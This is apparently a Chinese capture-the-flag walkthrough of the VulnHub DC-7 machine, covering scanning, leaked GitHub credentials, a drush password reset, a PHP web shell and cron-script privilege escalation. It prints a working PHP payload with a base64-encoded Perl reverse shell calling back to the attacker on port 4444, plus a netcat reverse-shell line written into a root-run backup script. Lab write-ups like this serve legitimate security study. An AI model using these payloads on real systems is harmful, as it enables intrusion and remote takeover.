苏州网站建设介绍,喜满堂网站建设,推广普通话,杭州网站建设优化案例#x1f36c; 博主介绍#x1f468;#x1f393; 博主介绍#xff1a;大家好#xff0c;我是 hacker-routing #xff0c;很高兴认识大家~
✨主攻领域#xff1a;【渗透领域】【应急响应】 【python】 【VulnHub靶场复现】【面试分析】
#x1f389;点赞➕评论➕收藏… 博主介绍 博主介绍大家好我是 hacker-routing 很高兴认识大家~
✨主攻领域【渗透领域】【应急响应】 【python】 【VulnHub靶场复现】【面试分析】
点赞➕评论➕收藏 养成习惯一键三连
欢迎关注一起学习一起讨论⭐️一起进步文末有彩蛋
作者水平有限欢迎各位大佬指点相互学习进步一、信息收集
1.主机扫描
┌──(rootkali)-[/home]
└─# arp-scan -l靶机IP地址192.168.103.2072.端口扫描
┌──(rootkali)-[/home]
└─# nmap -sS -A -p- 192.168.103.207发现开放了22、80端口
发现http服务是由Drupal 8搭建的网站 3.web页面 浏览器打开网站是一个欢迎界面并给出了一个提示提示将暴力破解和字典排除在外需要另外的思路发现在欢迎页面的左下角有一个“DC7USER”应该是接入点
直接在浏览器搜索DC7USER
然后再在github上面有一个config.php文件里面有账号密码信息 $username dc7user
$password MdR3xOgB7#dW3.登录
1.尝试登录网站发现账号密码错误 2.尝试ssh连接登录发现登录成功
┌──(rootkali)-[~/桌面]
└─# ssh dc7user192.168.103.207 二、漏洞利用
1.改密码
在mbox下发现了线索由内容可以知道这是root用户发给dc7user用户的一封邮箱并且会以root权限定时执行/opt/scripts/backups.sh脚本 由内容得知只是执行一些命令drush命令是drupal系统中特定的管理工具。由于脚本执行是root权限所以只要把反弹shell命令写入该脚本即可得到root权限。可以知道www-data用户即网站用户对该脚本具有写入权限。所以现在需要拿到网站的反弹shell
先要切换到/var/www/html目录下
查阅drush相关命令得知drush user-password 用户名 --password密码可以修改密码drupal网站的有默认用户为admin所以可以更改admin的密码
dc7userdc-7:/var/www/html$ drush user-password admin --passwordadmin
2.反弹shell
发现登录后台成功
账号密码都是admin在Content—Add content--Basic page下准备添加PHP代码反弹shell但发现Drupal 8不支持PHP代码百度后知道Drupal 8后为了安全需要将php单独作为一个模块导入 模块包下载地址
https://ftp.drupal.org/files/projects/php-8.x-1.0.tar.gz点击Install new module将下载模块包的链接添加上点击Install Install后跳转到模块添加成功页面然后去激活这个模块 选择FILTERS勾选PHP点击Install安装安装成功后会有提示 然后来到网站开始的欢迎页面对该页面进行编辑添加一句话PHP代码并保存为PHP代码
GIF89a
?php
function which($pr) {
$path execute(which $pr);
return ($path ? $path : $pr);
}
function execute($cfe) {
$res ;
if ($cfe) {
if(function_exists(exec)) {
exec($cfe,$res);
$res join(\n,$res);
} elseif(function_exists(shell_exec)) {
$res shell_exec($cfe);
} elseif(function_exists(system)) {
ob_start();
system($cfe);
$res ob_get_contents();
ob_end_clean();
} elseif(function_exists(passthru)) {
ob_start();
passthru($cfe);
$res ob_get_contents();
ob_end_clean();
} elseif(is_resource($f popen($cfe,r))) {
$res ;
while(!feof($f)) {
$res . fread($f,1024);
}
pclose($f);
}
}
return $res;
}
function cf($fname,$text){
if($fpfopen($fname,w)) {
fputs($fp,base64_decode($text));
fclose($fp);
}
}
$yourip 192.168.103.129;
$yourport 4444;
$usedb array(perlperl,cc);
$back_connectIyEvdXNyL2Jpbi9wZXJsDQp1c2UgU29ja2V0Ow0KJGNtZD0gImx5bngiOw0KJHN5c3RlbT0gJ2VjaG8gImB1bmFtZSAtYWAiO2Vj.
aG8gImBpZGAiOy9iaW4vc2gnOw0KJDA9JGNtZDsNCiR0YXJnZXQ9JEFSR1ZbMF07DQokcG9ydD0kQVJHVlsxXTsNCiRpYWRkcj1pbmV0X2F0b24oJHR.
hcmdldCkgfHwgZGllKCJFcnJvcjogJCFcbiIpOw0KJHBhZGRyPXNvY2thZGRyX2luKCRwb3J0LCAkaWFkZHIpIHx8IGRpZSgiRXJyb3I6ICQhXG4iKT.
sNCiRwcm90bz1nZXRwcm90b2J5bmFtZSgndGNwJyk7DQpzb2NrZXQoU09DS0VULCBQRl9JTkVULCBTT0NLX1NUUkVBTSwgJHByb3RvKSB8fCBkaWUoI.
kVycm9yOiAkIVxuIik7DQpjb25uZWN0KFNPQ0tFVCwgJHBhZGRyKSB8fCBkaWUoIkVycm9yOiAkIVxuIik7DQpvcGVuKFNURElOLCAiPiZTT0NLRVQi.
KTsNCm9wZW4oU1RET1VULCAiPiZTT0NLRVQiKTsNCm9wZW4oU1RERVJSLCAiPiZTT0NLRVQiKTsNCnN5c3RlbSgkc3lzdGVtKTsNCmNsb3NlKFNUREl.
OKTsNCmNsb3NlKFNURE9VVCk7DQpjbG9zZShTVERFUlIpOw;
cf(/tmp/.bc,$back_connect);
$res execute(which(perl). /tmp/.bc $yourip $yourport );
?1.先kali起一个监听
┌──(rootkali)-[~]
└─# nc -lvvp 44442.访问开始的web页面就可以监听成功了python -c import pty; pty.spawn (/bin/bash) #交互式shell 三、提权
1.getshell
当前用户是www-data在/opt/scripts目录下的backups.sh脚本文件所属组是www-data所以www-data用户可以对这个脚本文件进行操作并且这个脚本文件定时执行可以利用它来反弹shell
www-datadc-7:/opt/scripts$ cat backups.sh写入反弹shell代码到backups.sh脚本文件中并在kali监听4321端口等待计划任务执行稍微等待后成功getshell
www-datadc-7:/opt/scripts$ echo nc -nv 192.168.103.129 1234 -c bashbackups.sh
┌──(rootkali)-[~]
└─# nc -nvlp 1234 2.flag